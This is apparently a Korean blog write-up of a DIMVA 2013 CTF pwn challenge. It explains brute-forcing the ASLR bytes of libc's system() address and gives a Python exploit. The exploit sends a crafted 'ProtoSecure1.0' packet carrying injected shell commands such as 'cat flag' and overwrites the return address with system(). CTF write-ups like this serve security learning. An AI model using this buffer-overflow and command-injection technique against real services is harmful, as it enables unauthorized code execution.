같은 문제에, NX만 없애고, 더이상 레지스터를 보여주지 않는다.
이건, pwn 100에서 딴 쉘을 이용해서 풀었다.
pwn 100에서, "objdump -T ????/libc.so.6 | grep system" 명령어와 "ldd"명령어를 통해 system 주소의 처음 2바이트와 마지막 3바이트를 알아냈다. (첫 2바이트는 f7, 뒤 3바이트는 430)
ASLR은 중간 3바이트에만 걸리기때문에, 해당부분은 브루트포싱을 해서 구해낸다.
아래는 익스플로잇
(주석은 stage1으로, 시스템 주소를 알아내는 작업, 그 후에는 주석처리를 한 후 원하는 커맨드를 입력한다.)
from socket import * from struct import * import hashlib import time for i in range(0,0x1000): s = socket(AF_INET, SOCK_STREAM) s.connect(('dimvactf.0x90.eu',1120)) s.settimeout(2) #system = 0xf7000430+i*0x1000 system=0xf762f430 print "pwn2 system: "+hex(system) s.send("A") s.recv(1024) #body = ";id>&4;" body = ";cat flag>&4;" body += "a"*(128-len(body)) SHA256 = hashlib.sha256(body).digest() data = "ProtoSecure1.0\xff\xff"+SHA256+body data += "a"*1364 data += pack('<L',system) data += "c"*(0x800-len(data)) s.send(data) get=s.recv(1024) """ if "uid" in get: print get break """ time.sleep(0.2) try: get=s.recv(1024) print get except: s.close() continue """ if "uid" in get: print get break """ s.close() break
'Computer Security > CTF' 카테고리의 다른 글
[Secuinside 2013] angry danbi exploit (3) | 2013.11.27 |
---|---|
Whitehat Contest 개인전 예선 보고서 (2) | 2013.09.12 |
[DIMVA 2013] pwn 100 exploit (0) | 2013.07.23 |
[SIGINT 2013] trollsex(tr0llsex) exploit (0) | 2013.07.08 |
[SIGINT 2013] mail exploit (0) | 2013.07.08 |